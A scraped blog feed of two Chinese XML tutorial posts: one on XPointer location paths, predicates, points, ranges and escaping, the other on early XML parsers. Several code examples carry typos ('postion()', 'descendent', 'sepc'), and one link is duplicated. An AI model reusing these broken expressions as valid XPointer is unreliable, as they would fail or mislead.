<P>在大多数情况下，完整形式中的XPointer表达式是一个位置路径（Location Path），它与XSL转换中的位置路径相同。尽管有许多可能的简写形式，但一般而言，位置路径是由"/"分隔的位置步（Location Step）构成。</P>
<P>位置步在目标文件中指定一个位置，通常是相对于一个已知的位置，如文件的根节点或另外一个位置步等。位置步由一个关键字（axis）、节点测试（node-test）和可选的谓词（prediates）构成，这三个部分我们将在后一小节详细讲述。这里我们首先来看一下其构成形式：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">axis::node-test[prediates]</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>例如，下面的位置步中关键字是"descendent"，节点测试为"language"，谓词是"position()=2"。</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">descendant::language[position()=2]</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>多个位置步用"/"相连构成位置路径，在计算定位元素时将从左到右计算，首先计算第一个位置步，得到位置，下一个位置步的计算就相对于这一个位置，依次向下计算。就可以得到最后的结果。例如：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">/child::spec/child::body[position()=2]</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>其中第一个"/"表示根节点；"child::spec"是第一个位置步，表示根节点的spec直接子元素，如果文件的根元素是sepc，计算出来的结果应为根元素，否则计算结果为空；"child::body[position()=2]"是第二个位置步，表示上次计算出来元素的第二个body直接子元素。在上面的例子中，如果文件的根元素是spec，而且它包含两个以上的body子元素，返回的结果将是一个元素，否则将不返回结果。位置路径可以照此继续构造下去。</P>
<P>如果将位置路径改为：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">/child::spec/child::body[position()&gt;2]</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>如果根元素sepc包含body子元素的数量大于3个，那么返回的结果将至少包含2个元素，从而构成了一个集合，这个集合就称为位置集合；如果返回的结果只包含一个元素，我们称位置集合只包含一个元素；如果不返回任何结果，我们称位置集合是空集。因此位置路径的计算结果是位置集合。与普通集合不同的是，位置集合中的元素是有序的。其具体排序规则由关键字决定。</P>
<P>由于XPointer可以用于XLink中表示资源，而XPointer可能返回多个节点构成的集合。因此XLink必须处理多个节点的情况。XLink规定，如果链接的起始资源含有多个节点，则将每个节点作为一个单独的起始资源，反应在浏览器上就是每个节点都有一个到目标资源的链接。如果链接的结束资源包含多个节点或者不是节点类型（点或区域），则将其作为统一的资源处理。<BR></P></DIV>
<P></P>
<DIV class=pt10><B>7.3.4 位置步</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>位置步用于表示一个相对于已知位置的位置，这个已知位置可能是一个绝对位置，也可能是一个计算结果，由所处的上下文（context）决定，这个位置称为上下文节点（context node）。如前所述，位置步的构成包括三个部分： 
<UL>
<LI>关键字，有且仅有一个，用于表示结果节点与上下文节点在文件树中的关系； 
<LI>节点测试，有且仅有一个，用于表示结果节点的类型或扩展名； 
<LI>谓词，零到多个，用于限制结果的任意表达式。 </LI></UL>
<P>位置步首先利用关键字和节点测试计算，得到初始结果集，然后依次利用谓词进行过滤。初始结果集中满足所有谓词的就是返回结果。初始结果集中的元素与上下文节点构成关键字关系，而且具有节点测试指定的类型或名称，例如child::sepc表示上下文节点的所有sepc子元素。在对初始结果集进行过滤时，首先用第一个谓词对初始结果集进行过滤，返回一个结果集，在此基础上利用第二个谓词过滤，依次类推，直到得到最后的结果集。 
<OL>
<LI><STRONG>关键字</STRONG> </LI></OL>
<P>前面的例子提到了几个关键字child、descendent，其他的关键字还有ancestor、self、ancestor-or-self、paren、descendant-or-self、attribute、following、preceding、following-sibling、preceding-sibling等，它们的含义与XPath中的对应关键字一样，请读者参考4.3.3节，这里不再赘述。这些关键字的返回结果总是节点或节点构成的集合，节点的类型可以是元素、属性、注释、文本、处理指令等，但不能是命名空间。</P>
<P>由于位置步总是计算相对于上下文节点的位置，因此需要一个绝对位置，表示第一个位置步的上下文节点。关键字的运算取决于上下文节点，如果上下文节点有多个，它将对上下文节点逐一进行计算。XPointer可以利用XPath的绝对位置定位方法进行定位，包括利用"/"表示根节点和用id()表示具有给定ID值的元素。</P>
<P>关键字具有自己的基本节点类型，基本节点类型主要用于节点测试。对于那些可以包含元素的关键字，如child、parent等，其基本节点类型为元素类型，在上面提到的12个关键字中，除了attribute以外，其他关键字的基本节点类型都是元素类型。而关键字attribute关键字的基本节点类型是属性类型。 
<OL start=2>
<LI><STRONG>节点测试</STRONG> </LI></OL>
<P>节点测试用于测试节点类型或节点名称，只有那些满足节点测试的节点才会保留在初始的结果集中，以待下一步的谓词过滤。</P>
<P>在很多情况下，节点测试是一个名称，此时要求候选节点的类型与关键字的基本节点类型相同，并且具有指定的名称。因此对除attribute以外的关键字，如果节点测试是一个名称，结果将返回一个具有指定名称的元素集合，而对attribute关键字，同样的节点测试将返回具有指定名称的属性。例如：child::sepc返回上下文节点内的所有名为sepc的子节点，如果上下文节点没有名为sepc的子节点，结果将返回空集；而attribute::href将返回上下文节点的href属性，类似地，如果上下文节点不包括href属性，结果也会返回空集。</P>
<P>其他的节点测试还有： 
<UL>
<LI>*； 
<LI>node()； 
<LI>comment()； 
<LI>processing-instruction()； 
<LI>text()； </LI></UL>
<P>通配符*表示所有的元素，它不考虑元素的名称，只要元素与上下文节点满足关键字所指定的关系即可，例如child::*表示上下文节点的所有子节点。通配符*只选择元素类型。如果你希望选择所有节点，可以用node()表示。通配符*还可用于名称内部，用于过滤特定命名空间的元素和属性。比如：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">child::*:spec<BR>attribute::xlink:*</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>上面的第一个例子表示上下文节点内所有命名空间下名为spec的所有子元素，第二个例子表示上下文节点的所有xlink属性。</P>
<P>节点测试node()表示所有类型的节点，包括元素、注释、文本、处理指令等。node()不接收参数。例如，/self::node()表示文件的根节点。</P>
<P>节点测试还可以是comment()、text()、processing-instruction()，表示节点的类型是注释、文本或处理指令，comment()和text()不接收参数，processing-instruction()可以接收参数，如/descendent::processing-instruction( xml-stylesheet )表示文件中以&lt;?xml-stylesheet打头的处理指令。没有参数的processing-instruction()表示不对处理指令的名称作限制。由于注释、文本和处理指令类型的节点都不包含属性和元素，因此不能在包含这几个节点测试的位置步后，添加查找属性或者元素的位置步。如"/descendent::processing-instruction( xml-stylesheet )/attribute::href"就不是一个合法的位置路径。 
<OL>
<LI type=disc value=3><STRONG>谓词</STRONG> </LI></OL>
<P>XPointer位置步可以包括零个或多个谓词对结果集进行过滤。它将不满足谓词条件的候选节点过滤掉，关键字和节点测试首先确定候选节点的列表，谓词在其中选取最后的结果。其实，节点测试可以看成是谓词的特例。</P>
<P>一般来说，谓词应该是一个布尔表达式，它对每个候选节点计算表达式的值，如果返回值为真，则该节点满足谓词，从而被保留在结果集中，否则节点将从结果集中删除。但有时谓词的计算结果不是一个布尔表达式，返回值可能是字符串、数字、节点集合等。XPointer将返回结果转换为布尔值以确定候选节点是否满足谓词。 
<UL>
<LI>非0数字转换为true，数字0和NaN转换为false，NaN是"Not a Number"的简写，常用于表示被0除或其他非法运算的结果； 
<LI>非空节点集合转换为true，否则转换为false； 
<LI>非空节点片断转换为true，否则转换为false； 
<LI>长度不为0的字符串（包含字符串"false"）转换为true，否则转换为false； </LI></UL>
<P>XPointer中，最常用和最重要的谓词是表示位置的谓词，XPointer包括几个谓词函数position()、last()等。position()表示节点在结果列表中的序号，序号从1开始。该函数常与数字连用，中间用关系运算符=、&lt;&gt;、&lt;、&lt;=、&gt;、&gt;=连接，表示结果节点的位置序号与指定数字满足指定关系运算符。由于position()函数使用非常普遍，XPointer提供了一种简写形式，谓词[position()=n]可以简写为[n]。last()表示列表的节点数目，由于last()的结果是个数字，因此它也可与position()函数连用。此外，谓词中还可以包括位置步，它对谓词中的位置步进行计算，该位置步的上下文节点是当前的上下文节点。如果返回集合为空，则谓词计算结果为false，否则为true，甚至还可以用count()对位置步进行计数。下面给出几个例子：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD align=middle width="50%"><STRONG>位置步</STRONG></TD>
<TD align=middle width="50%"><STRONG>含 义</STRONG></TD></TR>
<TR>
<TD width="50%">xpointer(/descendant::sepc[postion()=2])</TD>
<TD width="50%">文件中第2个sepc元素</TD></TR>
<TR>
<TD width="50%">xpointer(id("_loc")/child::sepc[postion()&gt;=2])</TD>
<TD width="50%">ID值为"_loc"的元素的第2个及其以后的sepc子元素。</TD></TR>
<TR>
<TD width="50%">xpointer(id("_loc")/ancestor::*[postion()=last()])</TD>
<TD width="50%">文件中ID值为"_loc"的元素的最外层的包含元素，显然应该是文件的根元素。</TD></TR>
<TR>
<TD width="50%">xpointer(/descendant::attribute[ID="_loc"])</TD>
<TD width="50%">查找文件中所有值为_loc的ID属性。</TD></TR>
<TR>
<TD width="50%">xpointer(/descendant::customer[child::car])</TD>
<TD width="50%">文件中包含car子元素的所有customer元素。</TD></TR>
<TR>
<TD width="50%">xpointer(/descendant::customer[count(child::car)&gt;1])</TD>
<TD width="50%">文件中包含两个以上car子元素的所有customer元素。</TD></TR></TBODY></TABLE></CENTER></DIV></DIV>
<P></P>
<DIV class=pt10><B>7.3.5 XPointer扩展</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>前面介绍的定位方式来源于XPath，它们同时适用于XPath和XPointer，但是XPointer对XPath进行了扩展。其扩展主要包括： 
<UL>
<LI>增加了函数here() 和origin()用于进行位置定位； 
<LI>将XPath的节点(node)扩展为位置(location)，位置可以是节点、点和区域； 
<LI>增加了区域表达式，用于生成区域； 
<LI>增加函数start-point() 和end-point()，用于定位节点和区域的起始点和结束点； 
<LI>增加函数string-range()，用于生成字符串； 
<LI>增加谓词函数unique()，用于测试XPointer表达式是否只返回一个位置，而不是多个位置或没有返回位置。 </LI></UL>
<P><STRONG>定位函数</STRONG></P>
<P>前面提到，绝对位置的定位可以用根节点，或者指定了ID属性值的元素，对应的函数为root()和id()，其中root()可以简写为"/"。除了这两个函数外，XPointer还提供两个函数定位位置，它们是here()和origin()。</P>
<P>here()函数返回当前元素，即包含当前XPointer的元素，经常用于构造链表。下例表示一本名为《XML初学进阶》的书，它包括十章，每一章包括指向前一章和后一章的链接。为简短起见，省略了文件的DTD。</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;?xml version="1.0" encoding="gb2312" ?&gt;<BR>&lt;BOOK xmlns:xlink = "http://www.w3.org/1999/xlink"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; name = "XML初学进阶"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; author = "XML中国论坛"&gt;<BR>&nbsp; &lt;CHAPTER&gt;<BR>&nbsp;&nbsp;&nbsp; 第一章 XML基本概念<BR>&nbsp;&nbsp;&nbsp; &lt;LINK xlink:type = "simple" <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xlink:href = "here()/following::CHAPTER [1]"&gt;<BR>&nbsp;&nbsp;&nbsp; 下一章&lt;/LINK&gt;<BR>&nbsp; &lt;/CHAPTER&gt;<BR>&nbsp; &lt;CHAPTER&gt;<BR>&nbsp;&nbsp;&nbsp; 第二章 XML基本语法<BR>&nbsp;&nbsp;&nbsp; &lt;LINK xlink:type = "simple" <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xlink:href = "here()/preceding::CHAPTER [1]"&gt;<BR>&nbsp;&nbsp;&nbsp; 上一章&lt;/LINK&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;LINK xlink:type = "simple"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xlink:href = "here()/following::CHAPTER [1]"&gt;<BR>&nbsp;&nbsp;&nbsp; 下一章&lt;/LINK&gt;<BR>&nbsp; &lt;/CHAPTER&gt;<BR>&nbsp; ……<BR>&nbsp; &lt;CHAPTER&gt;<BR>&nbsp;&nbsp;&nbsp; 第十章 XML应用<BR>&nbsp;&nbsp;&nbsp; &lt;LINK xlink:type = "simple"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xlink:href="here()/preceding::CHAPTER [1]"&gt;<BR>&nbsp;&nbsp;&nbsp; 上一章&lt;/LINK&gt;<BR>&nbsp; &lt;/CHAPTER&gt;<BR>&lt;/BOOK&gt;</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>关于origin()函数的含义有一些混淆的地方，按照XPointer的当前版本的规范，origin()函数和here()函数基本相同，但origin()函数用于外联链接（out-of-line），表示资源文件中链接激活处的元素。但是由于XLink的最新版本规范中已经没有了外联链接的概念，因此XPointer中的解释失去了意义，也许可以将外联链接理解为链接库。出现这个问题的原因是XPointer和XLink的规范不同步，XPointer的候选标准推出比XLink候选标准推出早了约一个月，但与XLink相关的部分还按照XLink规范的老版本。希望在两个规范推出正式标准时不会出现这个问题。</P>
<P><STRONG>点</STRONG></P>
<P>前面介绍的位置步都返回XML中的节点，比如：元素、注释、处理指令等。它们都是XML中的结构数据，但是有时需要定位的不是一个XML结构，而是XML结构数据中的某一部分。比如：在CDATA数据中定位部分数据，或者在日期中定位月份时，就必须用到点(point)进行定位。XPointer中的点表示XML文件中节点和字符前后的位置。</P>
<P>如果点的包含节点是可以包含子节点的元素或根节点，则该点称为节点点(node-point)。此时索引是按照节点进行的，索引号0表示所有子节点之前的位置，索引号n表示第n个子节点之后的位置。如果点的包含节点不能包含子节点，此时的点称为字符点(character-point)，此时索引是按照字符进行的，索引号0表示所有字符之前的位置，索引号n表示第n个子字符之后的位置。例如：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">//descendant::sepc[position()=1]/point()[position()=0]</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>表示文件中第一个sepc元素的第一个子节点前的位置。</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">//descendant::sepc[position()=1]/child::text()/point()[position()=3]</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>表示文件中第一个sepc元素的文本中第3个字符后的位置。</P>
<P><STRONG>区域</STRONG></P>
<P>区域是由起始点(start point)和结束点(end point)定义的一个连续块，它可以包括起始点和结束点之间的任何XML结构，比如节点、字符串或节点片断等。起始点和结束点相同的区域是空区域。区域从一个点开始，到另一个点结束。每个点是由位置路径指定，如果起始点的位置路径返回位置集合，则起始点为位置集合的第一个点。如果结束点的位置路径返回位置集合，则结束点为位置集合的最后一个点。</P>
<P>区域的形式为xpointer(start-point/range-to(end-point))，其中start-point是一个位置路径，表示区域的起始点，end-point是另一个位置路径，表示区域的结束点，range-to()是一个函数，其参数是位置路径，表示整个位置路径的计算结果是一个区域。例如：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">xpointer(//descendant::sepc[position()=1]/child::text()/point()[position()=0]/range-to (//descendant::sepc[position()=1]/child::text()/point()[position()=5]))</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>表示文件中第一个sepc元素的文本中的前5个字符组成的字符串。</P>
<P>XPointer提供了start-point() 和end-point()函数，用于计算区域或位置集合的起始点和结束点。另外，还提供了两个区域函数range()和range-inside()，它们都以位置集合作为参数，返回结果也是位置集合。range()函数将位置集合中的每一个位置转换为一个覆盖该位置的最小区域，然后构成一个新的位置集合。range-inside()函数将位置集合中的每一个位置转换为一个覆盖该位置内容的最小区域，然后构成一个新的位置集合。对于位置集合参数的每一个位置x，如果x是一个区域，则将x直接加入结果集合，否则x将被视为新区域起始点和结束点的包含节点，将起始点和结束点之间的区域加入结果集合。比如对一个元素节点，其起始点在元素的第一个子节点之前，结束点在所有的子节点之后，因此最后的计算结果是该元素的内容。</P>
<P><STRONG>字符串匹配</STRONG></P>
<P>严格来讲，字符串匹配的返回结果是一个字符串区域，因此应该属于区域的范畴。但是由于字符串匹配比较重要和常用，因此将其列出单独介绍。</P>
<P>字符串匹配是通过string-range()函数实现。其基本形式是：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">string-range(location-set,substring,index,length)</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>其中index和length是可选的。string-range()函数在指定的位置集合(由参数表中的location-set指定)中匹配指定的字符串(由参数表中的substring指定)，index用于指定返回字符串区域的第一个字符的位置，该位置是相对于匹配位置的起始点，缺省值为1，表示返回字符串区域从匹配的第一个字符开始。length表示返回字符串的长度，缺省为查找字符串的长度。string-range()函数的返回结果是所有匹配字符串区域构成的集合。substring可以是空串，表示上下文节点的文本内容。例如：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">xpointer(string-range(/,"",1,8)[position()=1])</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>表示文件中的文本数据的前8个字符。</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">xpointer(string-range(//sepc[position()=1],"date",2,2)</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>表示选择在文件中第一个sepc元素内出现的所有"date"字符串中的"at"子串。</P>
<P>最后提醒几点：字符串匹配是大小写敏感的；文件中的连续空白字符被视为一个空白字符处理；字符串匹配不考虑标记字符。<BR></P></DIV>
<P></P>
<DIV class=pt10><B>7.3.6 字符转义</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>一般而言，XPointer不会单独出现，其经常出现的位置是URI、XML文件中，这些上下文对一些特殊字符提出了转义要求，因此必须对XPointer中出现的相应字符进行转义。 
<OL>
<LI><STRONG>URI编码和转义</STRONG> </LI></OL>
<P>XPointer可以用于XLink的属性xlink:href定位资源片段，xlink:href属性值必须是URI，而一些字符不能直接出现在URI中，因此必须对这些字符进行转义。</P>
<P>URI中不允许出现的字符包括所有非ASCII字符和IETF RFC 2396排除的字符，但是其中的"#"、"%"和方括弧可以直接出现在URI中，这是由IETF RFC 2732定义。所有不允许的字符按照如下顺序进行转义。 
<UL>
<LI>每一个不允许的字符转化为相应的UTF-8（IETF RFC 2279）编码； 
<LI>所有不允许的字符按照URI规则进行转义，即转化为%HH，HH是该字节的十六进制编码； 
<LI>原有的字符序列用新的字符序列替换。 </LI></UL>
<P>例如：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">xpointer(id( résumé )) <BR>xpointer(//*[@id= résumé ])</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>转义为：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">xpointer(id( r%C3%A9sum%C3%A9 ))%20 <BR>xpointer(//*%5B@id= r%C3%A9sum%C3%A9 %5D)</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>注意：虽然IETF RFC 2732允许方括弧直接出现，但是为了兼容那些未实现该标准的程序，方括弧最好转义出现。 
<OL start=2>
<LI><STRONG>XML转义</STRONG> </LI></OL>
<P>由于XPointer是出现在XML文件中，必须按照XML的要求对相应的字符进行转义。包括"&lt;"、"&amp;"和XML规范规定的其他特殊字符，"&lt;"和"&amp;"转义后分别为"&amp;lt;"和"&amp;amp;"，其他特殊字符的转义可以参考XML规范中的规定。例如：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">xpointer(//book/chapter[position()&lt;=5])</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>转义为：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">xpointer(//book/chapter[position() &amp;lt;= 5])</TD></TR></TBODY></TABLE></CENTER></DIV>
<OL start=3>
<LI><STRONG>XPointer转义</STRONG> </LI></OL>
<P>XPointer本身对一些字符提出了转义要求。为了保证正确识别和计算，XPointer的各个部分（XPointer的一个部分是指一个完整的XPointer(…)，多个XPointer(…)连接起来形成一个完整形式的XPointer）要求括弧匹配，因此必须对不匹配的括弧进行转义，即使在字符串常量中的括弧也必须进行转义。转义的方法是在前面加上一个"^"，如果表达式中出现"^"，则在前再加一个"^"，即用"^("代替"("，用"^)"代替")"，用"^^"代替"^"。</P>
<P>注意：转义只是针对不匹配的括弧，而不是对所有括弧。<BR></P></DIV>
<P></P>
<DIV class=pt10><B>7.4 XML Base</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>在HTML链接中，当指定链接的相对路径时，基础路径一般是当前路径，但人们可以用BASE元素显式指定相对路径的基路径，在进行路径解析时，浏览器将BASE指定的路径与相对路径连接起来，形成资源的绝对路径。例如：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">……<BR>&lt;BASE href = "http://www.htmllink.com/"&gt;<BR>……<]]></description>
</item><item>
<title><![CDATA[XML(43)工具介绍]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=xiaoqiao_xml&amp;id=10856</link>
<author>xiaoqiao_xml</author>
<pubDate>2005/12/28 12:49:09</pubDate>
<description><![CDATA[
<DIV class=pt10><B>6.1.1 IBM XML 4J</B></DIV>&nbsp;&nbsp;&nbsp; 
<DIV></DIV><BR>
<DIV class=pt9>
<P>我们曾经说过，由于XML编辑浏览工具尚不完善，给XML的流行造成了很大的障碍。的确，迄今为止，无论是分析、编辑、还是浏览工具，市场上都没有哪个产品已经可以独霸一方，这给XML的开发者和使用者都造成了很大程度上的不便。不过，这也正是一个千帆竞发、百舸争流的时代，期待着时代的弄潮儿在此大显身手。目前，各个公司团体都在积极地推出各种各样的试验系统，以期在这个充满希望的市场上占领一方天地。在这一章里，我们就简单介绍一下这种种试验系统中的佼佼者。</P>
<P>在XML的制定目标中曾明确地提出："处理XML文档的应用程序应该容易编写"。事实上，XML文档的确非常简单，它的清晰的结构和有限的语法规定使得XML分析器（XML Parser）的开发工作相对容易了很多。</P>
<P>XML分析器承担着对XML文档处理的第一道处理工序，它将XML文档中的数据提取出来，组织成树状结构，再送到应用处理程序、浏览器等后期工序中去。</P>
<P>XML分析器可以分为两类： 
<OL>
<LI>支持有效性检查的分析器。<BR>此类分析器在检查文档是否符合"格式良好的"基本要求的基础上，进一步结合DTD检查文档是否符合DTD中对文档结构的规定，判定这个文档是否是"有效的"。分析器必须读入并分析出整个DTD，外加XML文档中所有的外部已分析的实体引用。并报告出文档与DTD声明相冲突的地方，以及不满足DTD有效性约束的地方。 
<LI>不支持有效性检查的分析器。<BR>这一类分析器只负责检查XML文档是否满足格式良好的语法规定，包括XML文档中内含的内部DTD文档是否满足格式良好的规定。此类分析器不会对XML文档所引用的外部DTD文档进行分析、进而检查XML文档的有效性，但对于出现在XML文档内部的DTD子集，却仍旧需要进行部分分析，因为在对格式良好的文档进行分析时需要使用内部DTD声明中的信息，包括使用内部实体替换正文、提供缺省属性值等。 </LI></OL>
<P>无论是哪类分析器，都要提供文档或已分析实体与XML标准中定义的格式良好的文档定义相冲突的地方。</P>
<P>目前，大多数XML分析器都是免费的，一些大的公司，如Microsoft、IBM、DataChannel、Textuality等等，都开发了自己的XML分析器，可供免费下载。其中首推的当属<STRONG>IBM XML4J</STRONG>。</P>
<P>IBM公司的XML4J完全是用JAVA开发的，它是目前功能比较全面的支持有效性检查的XML分析器。界面如下图所示：</P><FONT face=宋体 size=3>
<P align=center><IMG height=325 src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX15.3703/www.17t8.com/xmlbook/image/TU000000-0601-0100-01.jpg" width=494></FONT></P>
<P>它具有如下特征： 
<UL>
<LI>遵守XML1.0标准 
<LI>遵守最近的DOM、SAX、命名空间的标准 
<LI>提供多语种支持 
<LI>提供源代码、示例和文档 
<LI>支持XML的有效性检查 
<LI>可高效支持元素识别、DOM创建、错误处理等 </LI></UL>
<P>除此以外，IBM还用C++编写了XML分析器，称为XML4C。</P>
<P>有关该分析器的详细介绍请参考网页：<A href="http://www.alphaworks.ibm.com/">http://www.alphaworks.ibm.com/</A>。<BR></P></DIV>
<P></P>
<DIV class=pt10><B>6.1.2 其他支持有效性检查的XML分析器</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>除了IBM XML4J以外，还有几个分析器支持对XML的有效性检查，它们分别是： 
<UL>
<LI>Apache的<STRONG>Xerces</STRONG><BR>Xerces是Apache的XML项目的一部分，它分别使用Java、C++和Perl编写了XML的分析器，也支持有效性检查。<BR>有关该分析器的详细介绍请参考网页：<A href="http://xml.apache.org/xerces-j/index.html">http://xml.apache.org/xerces-j/index.html</A>。 
<LI>Oracle的<STRONG>XML Parser</STRONG><BR>Oracle的XML分析器同样是使用Java编写，它支持通过SAX或DOM进行XML文档的语法分析，可以选择是否对文档的有效性进行检查。<BR>有关该分析器的详细介绍请参考网页：<A href="http://technet.oracle.com/tech/xml/">http://technet.oracle.com/tech/xml/</A>。 
<LI>Microsoft的<STRONG>MSXML</STRONG><BR>微软XML分析器已经内嵌入IE4和IE5，它的发布实际上早于XML1.0版本的最终颁布。MSXML支持一般的语法检查，但同时也提供有效性检查供选择，它利用JAVA将一个XML文档中的数据组织为树型结构。<BR>有关该分析器的详细介绍请参考网页：<A href="http://www.microsoft.com/info/404.htm?404">http://www.microsoft.com/info/404.htm?404</A>，或<BR><A href="http://www.microsoft.com/workshop/xml/parser/jparser.asp">http://www.microsoft.com/workshop/xml/parser/jparser.asp</A>。 
<LI>Silfide的<STRONG>SXP</STRONG><BR>SXP是一个XML的分析器，同时也是一个JAVA编写的一个完全的XML API。它是Silfide公司的client/server环境XSilfide的一部分。<BR>有关该分析器的详细介绍请参考网页：<A href="http://www.loria.fr/projets/XSilfide/EN/sxp/">http://www.loria.fr/projets/XSilfide/EN/sxp/</A>。 
<LI>Microstar的<STRONG>Near &amp; Far</STRONG>设计器<BR>按照Microstar的说法，Near&amp;Far设计器无论对于置标语言的入门者还是高手都是一个理想的工具。它不但能解析XML数据，而且能支持形象地编写DTD，即便是那些对XML和SGML知之甚少的人，使用这个软件也会觉得得心应手。它可以读入一个DTD，显示它的树形结构，并可以通过拖拽等方式编辑修改树形结构，再输出为DTD文件。<BR>有关该分析器的详细介绍请参考网页：<A href="http://www.opentext.com/services/content_management_services/xml_sgml_solutions.htm">http://www.opentext.com/services/content_management_services/xml_sgml_solutions.htm</A>。<BR><BR></LI></UL></DIV>
<P></P>
<P>
<TABLE style="BORDER-COLLAPSE: collapse" borderColor=#111111 cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR vAlign=top>
<TD width=654>
<DIV class=pt10><B>6.1.3 几个不支持有效性检查的XML分析器</B></DIV>&nbsp;&nbsp;&nbsp; 
<DIV></DIV><BR>
<DIV class=pt9>
<P>除了前面讲到的种种支持有效性检查的分析器外，不少公司还开发了“中级版本”。这些分析器虽然并不支持有效性分析，但因对“格式良好的”种种规则的检查充分而富有特色，也是不错的分析器。 
<UL>
<LI><STRONG>Lark</STRONG> <BR>Lark的编写者是XML标准的制定人之一Tim Bray，它实现了基于XML1.0标准对XML文档做格式良好的合法性检查。<BR>有关该分析器的详细介绍请参考网页：<A href="http://www.textuality.com/Lark/">http://www.textuality.com/Lark/</A>。 
<LI><STRONG>XP</STRONG><BR>XP的编写者是James Clark。这是一个用JAVA编写的分析器，能够对XML文档进行格式良好的合法性检查。虽然它不支持有效性检查，但已经可以处理所有的外部实体，亦即一个外部DTD的子集。XP中包含SAX引擎，它更适合于应用在JAVA应用程序中，在JAVA APPLET中则稍嫌逊色。<BR>有关该分析器的详细介绍请参考网页：<A href="http://www.jclark.com/xml/xp/index.html">http://www.jclark.com/xml/xp/index.html</A>。 
<LI><STRONG>aelfred</STRONG> <BR>aelfred同样是Microstar的产品，它基于JAVA语言，文件小、执行快，特别适合于在JAVA APPLET中应用。这个分析器只包含两个核心类，总大小不过26K，运行时所需的memory也很小，非常适合于使用JAVA开发XML应用程序的程序员使用。此外，aelfred也包含了一个功能全的SAX引擎。<BR>有关该分析器的详细介绍请参考网页：<A href="http://www.opentext.com/services/content_management_services/xml_sgml_solutions.html#aelfred_and_sax">http://www.opentext.com/services/content_management_services/xml_sgml_solutions.html#aelfred_and_sax</A>。 
<LI><STRONG>HEX</STRONG> <BR>HEX也是完全使用JAVA编写的，它非常简单，并支持对HTML文档的语法错误进行部分的自动更正。HEX不但内含了对SAX的支持，而且实现了JAVA与XML的DOM核心层的结合。<BR>有关该分析器的详细介绍请参考网页：<A href="http://www-uk.hpl.hp.com/people/ak/java/hex.html">http://www-uk.hpl.hp.com/people/ak/java/hex.html</A>。 
<LI><STRONG>expat</STRONG> <BR>expat是James Clark实验室的开发项目，它用C写成，目前正尝试用于Netscape Nevigator 5和Perl中，期望能够逐渐完善，以便在Netscape的下一个版本中对XML提供支持。<BR>有关该分析器的详细介绍请参考网页：<A href="http://www-uk.hpl.hp.com/people/ak/java/hex.html">http://www-uk.hpl.hp.com/people/ak/java/hex.html</A>。 
